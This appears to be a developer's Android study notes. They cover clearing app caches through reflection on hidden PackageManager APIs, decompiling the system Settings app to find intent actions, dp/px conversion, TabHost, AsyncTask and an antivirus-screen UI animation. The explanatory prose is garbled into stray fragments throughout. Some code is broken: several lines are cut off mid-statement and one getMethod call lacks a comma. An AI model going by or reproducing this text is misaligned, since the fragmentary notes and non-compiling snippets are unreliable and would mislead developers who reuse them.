class	ClearCacheObserver	extends	IPackageDataObserver.Stub	{
				public	void	onRemoveCompleted(final	String	packageName,	final	boolean	succeeded)	{
								final	Message	msg	=	mHandler.obtainMessage(CLEAR_CACHE);
								msg.arg1	=	succeeded	?	OP_SUCCESSFUL:OP_FAILED;
								mHandler.sendMessage(msg);
					}
	}

Setting

	
1ctrl+h		→	File	Search			strings.xml



	

2strings.xml 		clear_cache_btn_text		

3ctrl+h	 	clear_cache_btn_text			

	

4id clear_cache_button
<Button
				android:id="@+id/clear_cache_button"
				android:layout_width="120dip"
				android:layout_height="wrap_content"
				android:layout_weight="0.4"
				android:text="@string/clear_cache_btn_text"	/>

5ctrl+h 	clear_cache_button		

mClearCacheButton	=	(Button)	view.findViewById(R.id.clear_cache_button);		



6ctrl+f			 mClearCacheButton		onClick()
mClearCacheButton.setOnClickListener(this);

7onClick()
else	if	(v	==	mClearCacheButton)	{
												//	Lazy	initialization	of	observer
												if	(mClearCacheObserver	==	null)	{
																mClearCacheObserver	=	new	ClearCacheObserver();
												}
												mPm.deleteApplicationCacheFiles(packageName,	mClearCacheObserver);
								}	

8mPm
private	PackageManager	mPm;		
mPm	=	getActivity().getPackageManager();		
8packageName

String	packageName	=	mAppEntry.info.packageName;
private	ApplicationsState.AppEntry	mAppEntry;		
ApplicationInfo	info;
PackageItemInfo		public	String	packageName;//ApplicationInfo	extends		PackageItemInfo	

9 mClearCacheObserver	
class	ClearCacheObserver	extends	IPackageDataObserver.Stub	{
								public	void	onRemoveCompleted(final	String	packageName,	final	boolean	succeeded)	{
												final	Message	msg	=	mHandler.obtainMessage(CLEAR_CACHE);
												msg.arg1	=	succeeded	?	OP_SUCCESSFUL:OP_FAILED;
												mHandler.sendMessage(msg);
									}
					}
mClearCacheObserver

10api
*	@hide
*/
public	abstract	void	deleteApplicationCacheFiles(String	packageName,IPackageDataObserver	observer);
																																																																																																																																																									
																																																					

<uses-permission	android:name="android.permission.DELETE_CACHE_FILES"
Permission	is	only	granted	to	system	apps		





api

PackageManagerapi,	1
public	abstract	void	getPackageSizeInfo(String	packageName,

												IPackageStatsObserver	observer);

public	static	abstract	class	Stub	extends	android.os.Binder	implements	android.content.pm.IPackageStatsObserver
{	}
	 	<uses-permission	android:name="android.permission.GET_PACKAGE_SIZE"	/>		
//StubBinder	 IPackageStatsObserver
2
public	abstract	void	deleteApplicationCacheFiles(String	packageName,
												IPackageDataObserver	observer);
	<uses-permission	android:name="android.permission.DELETE_CACHE_FILES"/>

Not	for	use	by	third-party	applications.	

package	cn.zengfansheng.getCacheSize;

	

import	java.lang.reflect.Method;

	

import	android.app.Activity;

import	android.content.Context;

import	android.content.pm.IPackageDataObserver;

import	android.content.pm.IPackageStatsObserver;

import	android.content.pm.PackageManager;

import	android.content.pm.PackageStats;

import	android.os.Bundle;

import	android.os.RemoteException;

import	android.text.format.Formatter;

import	android.view.View;

import	android.widget.EditText;

import	android.widget.TextView;

	

public	class	MainActivity	extends	Activity	{

	

				private	EditText	et_package;

				private	TextView	tv_cache;

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

	

								et_package	=	(EditText)	this.findViewById(R.id.et_package);

								tv_cache	=	(TextView)	this.findViewById(R.id.tv_cache);

				}

	

				/**

					*	21



					*	@param	view

					*/

				public	void	cleanCache(View	view){

								//	mPm.deleteApplicationCacheFiles(packageName,	mClearCacheObserver);

								//	class	ClearCacheObserver	extends	IPackageDataObserver.Stub

								PackageManager	packageManager	=	getPackageManager();

								try	{

												String	packageName	=	et_package.getText().toString();

	

												Method	method	=

PackageManager.class.getMethod("deleteApplicationCacheFiles",String.class,

IPackageDataObserver.class);

												method.invoke(packageManager,	packageName,new	MyClearCacheObserver());

	

								}	catch	(Exception	e)	{

												e.printStackTrace();

								}

				}

				/**

					*	22-

					*	@author	hacket

					*/

				private	class	MyClearCacheObserver	extends	IPackageDataObserver.Stub	{

	

								@Override

								public	void	onRemoveCompleted(String	packageName,	boolean	succeeded)

																throws	RemoteException	{

								}

				}

	

	

				/**

					*	11-

					*	@param	view

					*/

				public	void	getCache(View	view)	{

	

								//	ApplicationPackageManager	ap;//

								PackageManager	pm	=	this.getPackageManager();

								/*

									PackageManagerapi

									@hide

									public	abstract	void	getPackageSizeInfo(String	packageName,

												IPackageStatsObserver	observer);

									*/

								try	{

												String	packageName	=	et_package.getText().toString();

												Method	method	=	PackageManager.class.getMethod("getPackageSizeInfo"

String.class,IPackageStatsObserver.class);

	

												method.invoke(pm,	packageName,	new	MyIPackageStatsbserver());

	

								}	catch	(Exception	e)	{

												e.printStackTrace();

								}



				}

				/**

					*	12

					*	@author	hacket

					*/

				private	class	MyIPackageStatsbserver	extends	IPackageStatsObserver.Stub	{

								//	onGetStatsCompleted.	ui

								@Override

								public	void	onGetStatsCompleted(PackageStats	pStats,	boolean	succeeded)

																throws	RemoteException	{

												long	cacheSize	=	pStats.cacheSize;

												long	codeSize	=	pStats.codeSize;

												long	dataSize	=	pStats.dataSize;

												Context	context	=	getApplicationContext();

												final	String	cache	=	Formatter.formatFileSize(getApplicationContext(),	cacheSize);

												final	String	code	=	Formatter.formatFileSize(getApplicationContext(),	codeSize);

												final	String	data	=	Formatter.formatFileSize(context,	dataSize);

	

												System.out.println("" 	+	cache	+	"" 	+	code	+	"" +	data);

	

												//	ui

												runOnUiThread(new	Thread()	{

																public	void	run()	{

																				tv_cache.setText("" +cache+"" +code+"" +data);

																}

												});

								}

				}

}



1	sysyem→app→Settings.apk	
2
	//	
								//	4.1	16
								//	4.2	17
								//	2.2	8
								//	2.3.1	9
								//	2.3.3	10
								//	2.1	7
								//	
								int	sdkInt	=	Build.VERSION.SDK_INT;
sdkandroid
Activityaction
ctrl+h	settings_label_launcher	
<activity	android:name="Settings"
								android:label="@string/settings_label_launcher"
								android:taskAffinity="com.android.settings"
								android:launchMode="singleTask">
				<intent-filter>
								<action	android:name="android.intent.action.MAIN"	/>
								<action	android:name="android.settings.SETTINGS"	/>
								<category	android:name="android.intent.category.DEFAULT"	/>
								<category	android:name="android.intent.category.LAUNCHER"	/>
				</intent-filter>
</activity>
ActivityAction



	
1ctrl+h		

<string	name="application_info_label"	msgid="5736524913065714880">"" </
2ctrl+h	 application_info_label

	



3ActivitiyAction
<!--	Still	need	a	top-level	activity	for	showing	app	details.		Aliasing
					trick	is	so	the	code	that	is	now	a	fragment	can	still	be	called
					InstalledAppDetails.	-->
<activity	android:name=".applications.InstalledAppDetailsTop"
										android:label="@string/application_info_label"
										android:exported="true"
										android:taskAffinity=""
										android:parentActivityName="Settings$ManageApplicationsActivity">
</activity>
<!--	Keep	compatibility	with	old	shortcuts.	-->
<activity-alias	android:name=".applications.InstalledAppDetails"
								android:label="@string/application_info_label"
								android:exported="true"
								android:targetActivity=".applications.InstalledAppDetailsTop">
				<intent-filter>
								<action	android:name="android.settings.APPLICATION_DETAILS_SETTINGS"	/>
								<category	android:name="android.intent.category.DEFAULT"	/>
								<data	android:scheme="package"	/>
				</intent-filter>
</activity-alias>

//	3ListViewitem-""
lv_clean_cache.setOnItemClickListener(new	OnItemClickListener()	{
				@Override
				public	void	onItemClick(AdapterView<?>	parent,	View	view,
												int	position,	long	id)	{
								/*<activity-alias	android:name=".applications.InstalledAppDetails"
																android:label="@string/application_info_label"
																android:exported="true"
																android:targetActivity=".applications.InstalledAppDetailsTop">
												<intent-filter>
																<action	android:name="android.settings.APPLICATION_DETAILS_SETTINGS"	/>
																<category	android:name="android.intent.category.DEFAULT"	/>
																<data	android:scheme="package"	/>
												</intent-filter>
								</activity-alias>*/
								Intent	intent	=	new	Intent();
								intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								String	packageName	=	null;//	
								Map<String,	Long>	map	=	cacheList.get(position);



								for	(Entry<String,	Long>	entry	:	map.entrySet())	{
												packageName	=	entry.getKey();
								}
								intent.setData(Uri.parse("package:"	+	packageName));
								startActivity(intent);
				}
});
android2.3android2.2

	
android2.2
11-21	08:06:39.664:	I/ActivityManager(59):	Starting	activity:	Intent	{
act=android.intent.action.VIEW	cmp=com.android.settings/.InstalledAppDetails	(has	extras)	}

android
1android2.2File	Explorer
sysyem→app→Settings.apk

2		apktool.bat	d	Settings.apk

	
3ActivityAction
<activity	android:label="@string/application_info_label"	android:name="InstalledAppDetails"
				<intent-filter>
								<action	android:name="android.intent.action.VIEW"	/>
								<category	android:name="android.intent.category.DEFAULT"	/>
								<category	android:name="android.intent.category.VOICE_LAUNCH"	/>
				</intent-filter>
</activity>
4dex2jar.bat	classes.dex



5jd-gui.exe	"pkg"
Intent	localIntent	=	getIntent();
				String	str1	=	"pkg";
				String	str2	=	localIntent.getStringExtra(str1);

//	3ListViewitem-""
lv_clean_cache.setOnItemClickListener(new	OnItemClickListener()	{
				@Override
				public	void	onItemClick(AdapterView<?>	parent,	View	view,
												int	position,	long	id)	{
								/*3-1		Android2.3Action
									*	<activity-alias	android:name=".applications.InstalledAppDetails"
																android:label="@string/application_info_label"
																android:exported="true"
																android:targetActivity=".applications.InstalledAppDetailsTop">
												<intent-filter>
																<action	android:name="android.settings.APPLICATION_DETAILS_SETTINGS"	/>
																<category	android:name="android.intent.category.DEFAULT"	/>
																<data	android:scheme="package"	/>
												</intent-filter>
								</activity-alias>*/
								
								/*Intent	intent	=	new	Intent();
								intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								String	packageName	=	null;//	
								Map<String,	Long>	map	=	cacheList.get(position);
								for	(Entry<String,	Long>	entry	:	map.entrySet())	{
												packageName	=	entry.getKey();
												intent.setData(Uri.parse("package:"	+	packageName));
												startActivity(intent);
								}*/



								
								/*3-2		Android2.2Action
									*	<activity	android:label="@string/application_info_label"	android:name="InstalledAppDetails">
												<intent-filter>
																<action	android:name="android.intent.action.VIEW"	/>
																<category	android:name="android.intent.category.DEFAULT"	/>
																<category	android:name="android.intent.category.VOICE_LAUNCH"	/>
												</intent-filter>
								</activity>
										String	str1	=	"pkg";
								*/
								/*Intent	intent	=	new	Intent();
								intent.setAction(Intent.ACTION_VIEW);
								intent.addCategory(Intent.CATEGORY_DEFAULT);
								intent.addCategory("android.intent.category.VOICE_LAUNCH");
								String	packageName	=	null;//	
								Map<String,	Long>	map	=	cacheList.get(position);
								for	(Entry<String,	Long>	entry	:	map.entrySet())	{
												packageName	=	entry.getKey();
												intent.putExtra("pkg",	packageName);
												startActivity(intent);
								}*/

								//	
								//	4.1	16
								//	4.2	17
								//	2.2	8
								//	2.3.1	9
								//	2.3.3	10
								//	2.1	7
								//	
								int	sdkInt	=	Build.VERSION.SDK_INT;

								if	(sdkInt	>=	9)	{//	android2.3
												Intent	intent	=	new	Intent();
												intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
												intent.addCategory(Intent.CATEGORY_DEFAULT);
												String	packageName	=	null;//	
												Map<String,	Long>	map	=	cacheList.get(position);
												for	(Entry<String,	Long>	entry	:	map.entrySet())	{
																packageName	=	entry.getKey();
																intent.setData(Uri.parse("package:"	+	packageName));



																startActivity(intent);
												}
								}	else	{//	android2.2
												Intent	intent	=	new	Intent();
												intent.setAction(Intent.ACTION_VIEW);
												intent.addCategory(Intent.CATEGORY_DEFAULT);
												intent.addCategory("android.intent.category.VOICE_LAUNCH");
												String	packageName	=	null;//	
												Map<String,	Long>	map	=	cacheList.get(position);
												for	(Entry<String,	Long>	entry	:	map.entrySet())	{
																packageName	=	entry.getKey();
																intent.putExtra("pkg",	packageName);
																startActivity(intent);
												}
								}
				}
});



PackageManagerapi freeStorageAndNotify
/*	@hide
	*/
public	abstract	void	freeStorageAndNotify(long	freeStorageSize,	IPackageDataObserver	observer);
long		freeStorageSize	// freeStorageSize freeStorageSize	- freeStorageSize	
The	number	of	bytes	of	storage	to	befreed	by	the	system.

<uses-permission	android:name="android.permission.CLEAR_APP_CACHE"	/>		

freeromrom
freeStorageAndNotifyromrom-freeStorageAndNotify

CleanCacheActivity.java
//	2
btn_clean_cache.setOnClickListener(new	OnClickListener()	{
				@Override
				public	void	onClick(View	v)	{
								//	
								//public	abstract	void	freeStorageAndNotify(long	freeStorageSize,	IPackageDataObserver	observer);
								PackageManager	packageManager	=	getPackageManager();
								Method[]	methods	=	PackageManager.class.getMethods();
								for	(Method	method	:	methods)	{
												if	(method.getName().equals("freeStorageAndNotify"))	{
																try	{
																				method.invoke(packageManager,	Long.MAX_VALUE,new	MyIPackageDataObserver());
																}	catch	(Exception	e)	{
																				ToastUtils.showToastInThread(CleanCacheActivity.this,	"" );
																				e.printStackTrace();
																}
																break;
												}
								}
				}
});

/**



	*	5 -
	*	@author	hacket
	*/
private	class	MyIPackageDataObserver	extends	IPackageDataObserver.Stub{
				@Override
				public	void	onRemoveCompleted(String	packageName,	boolean	succeeded)
												throws	RemoteException	{
								ToastUtils.showToastInThread(CleanCacheActivity.this,	"" );
				}
}	

	

Long.MAX_VALUE-1 Integer.MAX_VALUE



method.invoke(packageManager,	Long.MAX_VALUE,new	MyIPackageDataObserver());



pxdip

apk

density=240hdpi		density=160mdpi	density=120ldpi	
	dippx
	
dppx

pixs	=dips	*	(densityDpi/160).	

dips=(pixs*160)/densityDpi

	
/**
		*		dp			px()
		*/
	public	static	int	dip2px(Context	context,	float	dpValue)	{
		final	float	scale	=	context.getResources().getDisplayMetrics().density;
		return	(int)	(dpValue	*	scale	+	0.5f);
	}	

dppx
public	class	DensityUtil	{
				/**
					*		dip			 px()
					*/
				public	static	int	dip2px(Context	context,	float	dpValue)	{
								final	float	scale	=	context.getResources().getDisplayMetrics().density;
								return	(int)	(dpValue	*	scale	+	0.5f);
				}
				/**
					*		 px()			 dp
					*/
				public	static	int	px2dip(Context	context,	float	pxValue)	{
								final	float	scale	=	context.getResources().getDisplayMetrics().density;
								return	(int)	(pxValue	/	scale	+	0.5f);
				}
}



Px
Pixel

“”UI100pxUI100pxUI

Screen	Size
1.61.92.2

Resolution
480*320480320

Dpi
dots	per	inch

		

160dpi160320*24021.5
dpi=320/2=240/1.5=160

DisplayMetricsdensityDpi

Density
Density=Resolution/Screen	size

DisplayMetricsdensitydpi/160pxdip

Dip
Device-independent
pixel

dp ,WVGAHVGAQVGA	dip
dip	=/160*	pixel dpi160dpi1px=1dip

Sp
ScaledPixels

	

best	for	textsize	google	TextView	
sp	TextView	Android		sp	

	



TableHost-TableActivity

1FrameLayout		
2fragment
3TabHost
TabHost
1TabHostid ,android:id="@android:id/tabhost"
2 TabWidgetid android:id="@android:id/tabs"
3 FrameLayoutid android:id="@android:id/tabcontent"
4ActivityTabActivity
TabHost
1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TabHost
								android:id="@android:id/tabhost"
								android:layout_width="match_parent"
								android:layout_height="match_parent"	>

								<RelativeLayout
												android:layout_width="match_parent"
												android:layout_height="match_parent"	>

												<TabWidget
																android:id="@android:id/tabs"
																android:layout_width="match_parent"
																android:layout_height="50dip"
																android:layout_alignParentBottom="true">	
												</TabWidget>

												<FrameLayout
																android:id="@android:id/tabcontent"
																android:layout_width="match_parent"
																android:layout_height="match_parent"
																android:layout_marginBottom="50dip"	>
												</FrameLayout>

								</RelativeLayout>



				</TabHost>
</LinearLayout>
2
package	cn.zengfansheng.tabhost;
import	android.app.TabActivity;
import	android.content.Intent;
import	android.os.Bundle;
import	android.widget.TabHost;
import	android.widget.TabHost.TabSpec;
@SuppressWarnings("deprecation")
public	class	TabHostActivity	extends	TabActivity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_tabhost);
								TabHost	tabHost	=	getTabHost();
								//	tag1,tag2,tag3
								TabSpec	tab1	=	tabHost.newTabSpec("tag1");
								TabSpec	tab2	=	tabHost.newTabSpec("tag2");
								TabSpec	tab3	=	tabHost.newTabSpec("tag3");
								//	tab()
								tab1.setIndicator("tabel1");
								tab2.setIndicator("tabel2");
								tab3.setIndicator("tabel3");
								
								//	tab()
								tab1.setContent(new	Intent(getApplicationContext(),	Test1Activity.class));
								tab2.setContent(new	Intent(getApplicationContext(),	Test2Activity.class));
								tab3.setContent(new	Intent(getApplicationContext(),	Test3Activity.class));
								//	tabtabHost
								tabHost.addTab(tab1);
								tabHost.addTab(tab2);
								tabHost.addTab(tab3);
				}
}

	

TabHostid



2
tab1
tab1.setContent(new	Intent(getApplicationContext(),	Test1Activity.class));
tab1.setContent(new	Intent(getApplicationContext(),	Test2Activity.class));
tab1.setContent(new	Intent(getApplicationContext(),	Test3Activity.class));		



(SlidingDrawer)&&sd(api)&()&pxdip&TabHost
1SlidingDrawer
1
android:content="@+id/sd_content"	
android:handle="@+id/sd_handler"		
2SlidingDrawer
android:orientation="horizontal"
3SlidingDrawer
4SlidingDrawer
2
a)	/data/data	uid	root
b)	/proc/uid_stat	uid,
		tcp_rcv	
			tcp_snd	
3api
PackageManager
4 	PackageManager
getPackageSizeInfo	
deleteApplicationCacheFiles	
5

6dippx
7
TabHost,TabActivity
fragment
8 sdTabHost
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package	cn.zengfansheng.asynctask;
import	android.app.Activity;
import	android.app.ProgressDialog;
import	android.os.Bundle;
import	android.os.Handler;
import	android.view.View;
public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				private	ProgressDialog	pd;
				private	Handler	handler	=	new	Handler()	{
								public	void	handleMessage(android.os.Message	msg)	{
												//	3 ui
												pd.dismiss();
								};
				};
				/**
					*	
					*	@param	view
					*/
				public	void	click(View	view)	{
								//	1 ui
								//	pd	=	new	ProgressDialog(getApplicationContext());
								pd	=	new	ProgressDialog(this);
								pd.setTitle("" );
								pd.setMessage("" );
								pd.show();
								
								//	2 ui
								new	Thread()	{
												@Override
												public	void	run()	{
																try	{
																				Thread.sleep(3000);
																}	catch	(InterruptedException	e)	{
																				e.printStackTrace();



																}
																handler.sendEmptyMessage(0);
												}
								}.start();
				}
}

1 MyAsyncTask.java
package	cn.zengfansheng.asynctask;
import	android.os.Handler;
import	android.os.Message;
/**
	*	
	*	@author	hacket
	*/
public	abstract	class	MyAsyncTask	{
				/**
					*	1UI
					*/
				protected	abstract	void	onPreExecute();
				/**
					*	3UI
					*/
				protected	abstract	void	onPostExecute();
				/**
					*	2
					*/
				protected	abstract	void	doInBackgroundExecute();
				private	Handler	handler	=	new	Handler()	{
								@Override
								public	void	handleMessage(Message	msg)	{
												super.handleMessage(msg);
												//	3 ui
												onPostExecute();
								}
				};
				/**
					*	4
					*/
				protected	void	execute()	{
								//	1 ui
								onPreExecute();



								//	2 ui
								new	Thread()	{
												public	void	run()	{
																doInBackgroundExecute();
																handler.sendEmptyMessage(0);
												}
								}.start();
				}
}
2 MainActivity.java
package	cn.zengfansheng.asynctask;
import	android.app.Activity;
import	android.app.ProgressDialog;
import	android.os.Bundle;
import	android.view.View;
public	class	MainActivity	extends	Activity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
				}
				/**
					*	
					*	@param	view
					*/
				public	void	click(View	view)	{
								//	
								new	MyAsyncTask()	{
												private	ProgressDialog	pd;
												@Override
												protected	void	onPreExecute()	{
																pd	=	new	ProgressDialog(MainActivity.this);
																pd.setTitle("" );
																pd.setMessage("" );
																pd.show();
												}
												@Override
												protected	void	onPostExecute()	{
																pd.dismiss();
												}
												@Override
												protected	void	doInBackgroundExecute()	{



																try	{
																				Thread.sleep(3000);
																}	catch	(InterruptedException	e)	{
																				e.printStackTrace();
																}
												}
								}.execute();
				}
}

msg.what	:		 MyAsyncTask.java
package	cn.zengfansheng.asynctask;

	

import	android.os.Handler;

import	android.os.Message;

	

/**

*	

*	@author	hacket

*/

public	abstract	class	MyAsyncTask	{

	



				protected	static	final	int	EXECUTE_FINISHED	=	1;//	

				private	static	final	int	ONPROGRESS	=	2;//	

	

				private	Handler	handler	=	new	Handler()	{

								@Override

								public	void	handleMessage(Message	msg)	{

												super.handleMessage(msg);

												switch	(msg.what)	{

												case	EXECUTE_FINISHED://	ui

																//	3ui

																onPostExecute();

																break;

												case	ONPROGRESS://		

																int	progress	=	(Integer)	msg.obj;

																onProgressUpdate(progress);//	publishProgressui

																break;

												}

								}

				};

	

				/**

					*	1UI

					*/

				protected	abstract	void	onPreExecute();

	

				/**

					*	3UI

					*/

				protected	abstract	void	onPostExecute();

	

				/**

					*	2

					*/

				protected	abstract	void	doInBackgroundExecute();

	

				/**

					*	4

					*	@param	progress	

					*/

				protected	abstract	void	onProgressUpdate(int	progress);

	

	

				/**

					*	5

					*	@param	progres	

					*/

				protected	void	publishProgress(int	progress)	{

								Message	msg	=	Message.obtain();

								msg.obj	=	progress;

								msg.what	=	ONPROGRESS;

								handler.sendMessage(msg);

				}

	

				/**

					*	6,



					*/

				protected	void	execute()	{

								//	1ui

								onPreExecute();

	

								//	2ui

								new	Thread()	{

												public	void	run()	{

																doInBackgroundExecute();

																handler.sendEmptyMessage(EXECUTE_FINISHED);

												}

								}.start();

				}

}

2 MainActivity.java
package	cn.zengfansheng.asynctask;

import	android.app.Activity;

import	android.app.ProgressDialog;

import	android.os.Bundle;

import	android.view.View;

import	android.widget.TextView;

public	class	MainActivity	extends	Activity	{

				private	TextView	tv;

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

								tv	=	(TextView)	this.findViewById(R.id.tv);

				}

				/**

					*	

					*	@param	view

					*/

				public	void	click(View	view)	{

								//	

								new	MyAsyncTask()	{

												private	ProgressDialog	pd;

												@Override

												protected	void	onPreExecute()	{

																pd	=	new	ProgressDialog(MainActivity.this);

																pd.setTitle("" );

																pd.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);

																pd.setMessage("" );

																pd.show();

												}



												@Override

												protected	void	onPostExecute()	{

																pd.dismiss();

												}

												@Override

												protected	void	doInBackgroundExecute()	{

																try	{

																				pd.setMax(100);

																				for	(int	i	=	1;	i	<=	100;	i++)	{

																								Thread.sleep(40);

																								publishProgress(i);//	publishProgressui

																				}

																}	catch	(InterruptedException	e)	{

																				e.printStackTrace();

																}

												}

												@Override

												protected	void	onProgressUpdate(int	progress)	{

																pd.setProgress(progress);

																//	tv.setText(progress);//int

																tv.setText(":" 	+	progress	+	"%");

												}

								}.execute();

				}

}



	
1 pd	=	new	ProgressDialog(getApplicationContext());	
ProgressDialogActivityContextApplication
	 pd	=	new	ProgressDialog(this);			
11-21	16:48:15.480:	E/AndroidRuntime(20253):	Caused	by:
android.view.WindowManager$BadTokenException:	Unable	to	add
window	--	token	null	is	not	for	an	application

	



google

	
google

package	cn.zengfansheng.asynctask;
import	android.app.Activity;
import	android.os.AsyncTask;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.TextView;
import	cn.zengfansheng.googleasynctask.R;

public	class	MainActivity	extends	Activity	{
				private	TextView	tv;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								tv	=	(TextView)	this.findViewById(R.id.tv);
				}
				/**
					*	 -google
					*	@param	view
					*/
				public	void	click(View	view)	{
								//			
								new	AsyncTask<Void,	Integer,	Void>()	{
												//	1
												@Override
												protected	void	onPreExecute()	{
																super.onPreExecute();
																tv.setText("..." );
												}
												//	2
												@Override

wiz:open_attachment?guid=1f66f7e3-dfb0-4c44-b312-c610353fea7d
wiz:open_attachment?guid=18547f31-e79f-4e8a-b206-78c122d86b29


												protected	Void	doInBackground(Void...	params)	{
																for	(int	i	=	1;	i	<=	100;	i++)	{
																				try	{
																								Thread.sleep(30);
																				}	catch	(InterruptedException	e)	{
																								e.printStackTrace();
																				}
																				publishProgress(i);//	 ui
																}
																return	null;
												}
												//	3 ui	
													
												@Override
												protected	void	onProgressUpdate(Integer...	values)	{
																super.onProgressUpdate(values);
																tv.setText(":" 	+	values[0]	+	"%");
												}
												//	4
												@Override
												protected	void	onPostExecute(Void	result)	{
																super.onPostExecute(result);
																tv.setText("..." );
												}
								}.execute();
				}
}





-UI

1UI
activity_anti_virus.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	43AntiVirusActivity	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>

				<TextView
								style="@style/wizard_textview_title"
								android:gravity="center"
								android:text="			" 	/>

				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:orientation="horizontal"	>
								<!--	1	-->
								<FrameLayout
												android:id="@+id/fl_scan_malware"
												android:layout_width="80dip"
												android:layout_height="80dip"
												android:layout_marginLeft="5dip"
												android:layout_marginTop="5dip"	>
												<ImageView
																android:layout_width="80dip"
																android:layout_height="80dip"
																android:src="@drawable/ic_scanner_malware"	/>
												<ImageView
																android:id="@+id/iv_scan_malware"
																android:layout_width="80dip"
																android:layout_height="80dip"
																android:src="@drawable/act_scanning_03"	/>
								</FrameLayout>

								<!--	2	-->
								<LinearLayout
												android:layout_width="match_parent"



												android:layout_height="match_parent"
												android:layout_marginLeft="15dip"
												android:layout_marginRight="15dip"
												android:gravity="center_vertical"
												android:orientation="vertical"	>
												<TextView
																android:id="@+id/tv_scan_status"
																android:layout_width="match_parent"
																android:layout_height="wrap_content"
																android:gravity="center_horizontal"
																android:text="" 	/>
												<ProgressBar
																android:id="@+id/pb_scan_progress"
																style="?android:attr/progressBarStyleHorizontal"
																android:layout_width="match_parent"
																android:layout_height="wrap_content"	/>
								</LinearLayout>
				</LinearLayout>

				<!--	3	-->
				<LinearLayout
								android:id="@+id/ll_scan_content"
								android:layout_width="match_parent"
								android:layout_height="match_parent"
								android:gravity="center"
								android:orientation="vertical"	>
								<TextView
												android:id="@+id/textView1"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:text="~~~" 	/>
				</LinearLayout>
</LinearLayout>		



interpolatorandroidInterpolator 	LinearInterpolatorAccelerateinterpolator
DecelerateInterpolatorInterpolator



-RotateAnimation

1Interpolator interpolatorandroidInterpolator 	 LinearInterpolator Accelerateinterpolator
DecelerateInterpolatorInterpolator

<set	android:interpolator="@android:anim/accelerate_interpolator">
				...
</set>
2rotate
android:pivotX

android:pivotY

a)	pixels		
"5"	:	5	the	object's	left	edge
b)	percentage			
"5%"5%	 	the	object's	left	edge
"5%p":5%		the	parent	container's	left	edge

1
//	1
RotateAnimation	ra	=	new	RotateAnimation(0,	360,Animation.RELATIVE_TO_PARENT,	0.5f,Animation.
ra.setDuration(2000);
ra.setRepeatCount(Animation.INFINITE);
ra.setInterpolator(new	LinearInterpolator());//	
iv_scan_malware.startAnimation(ra);
2xml
1)	anti_virus_walware.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	9	-->
<rotate	xmlns:android="http://schemas.android.com/apk/res/android"
				android:fromDegrees="0.0"	
				android:toDegrees="360.0"
				android:pivotX="50%p"
				android:pivotY="50%"
				android:interpolator="@android:anim/linear_interpolator"
				android:duration="2000"
				android:repeatCount="infinite"
				>
</rotate>
2)	
//	2 xml



RotateAnimation	ra	=	(RotateAnimation)	AnimationUtils.loadAnimation(this,	R.anim.anti_virus_walware
iv_scan_malware.startAnimation(ra);		



ProgressBar

1ProgressBar \sdk\platforms\android-16\data\res\values\styles.xml
<style	name="Widget.ProgressBar">
				<item	name="android:indeterminateOnly">true</item>
				<item	name="android:indeterminateDrawable">@android:drawable/progress_medium_white
				<item	name="android:indeterminateBehavior">repeat</item>
				<item	name="android:indeterminateDuration">3500</item>
				<item	name="android:minWidth">48dip</item>
				<item	name="android:maxWidth">48dip</item>
				<item	name="android:minHeight">48dip</item>
				<item	name="android:maxHeight">48dip</item>
</style>
progress_medium_white.xml

<animated-rotate	xmlns:android="http://schemas.android.com/apk/res/android
				android:drawable="@drawable/spinner_white_48"
				android:pivotX="50%"
				android:pivotY="50%"
				android:framesCount="12"
				android:frameDuration="100"	/>
spinner_white_48.png

2 HorizontalProgressBar
<style	name="Widget.ProgressBar.Horizontal">
				<item	name="android:indeterminateOnly">false</item>
				<item	name="android:progressDrawable">@android:drawable/progress_horizontal
				<item	name="android:indeterminateDrawable">@android:drawable/progress_indeterminate_horizontal
				<item	name="android:minHeight">20dip</item>
				<item	name="android:maxHeight">20dip</item>
</style>
progress_horizontal.xml
<layer-list	xmlns:android="http://schemas.android.com/apk/res/android">
				//1ProgressBar
				<item	android:id="@android:id/background">
								<shape>
												<corners	android:radius="5dip"	/>
												<gradient



																				android:startColor="#ff9d9e9d"
																				android:centerColor="#ff5a5d5a"
																				android:centerY="0.75"
																				android:endColor="#ff747674"
																				android:angle="270"
												/>
								</shape>
				</item>
				//2 ProgressBar
				<item	android:id="@android:id/secondaryProgress">
								<clip>
												<shape>
																<corners	android:radius="5dip"	/>
																<gradient
																								android:startColor="#80ffd300"
																								android:centerColor="#80ffb600"
																								android:centerY="0.75"
																								android:endColor="#a0ffcb00"
																								android:angle="270"
																/>
												</shape>
								</clip>
				</item>
				//3 ProgressBar
				<item	android:id="@android:id/progress">
								<clip>
												<shape>
																<corners	android:radius="5dip"	/>
																<gradient
																								android:startColor="#ffffd300"
																								android:centerColor="#ffffb600"
																								android:centerY="0.75"
																								android:endColor="#ffffcb00"
																								android:angle="270"
																/>
												</shape>
								</clip>
				</item>
</layer-list>
3ProgressBar
a)/Mobilesafe	v8.0/res/values/styles.xml
<!--	ProgressBar	-->



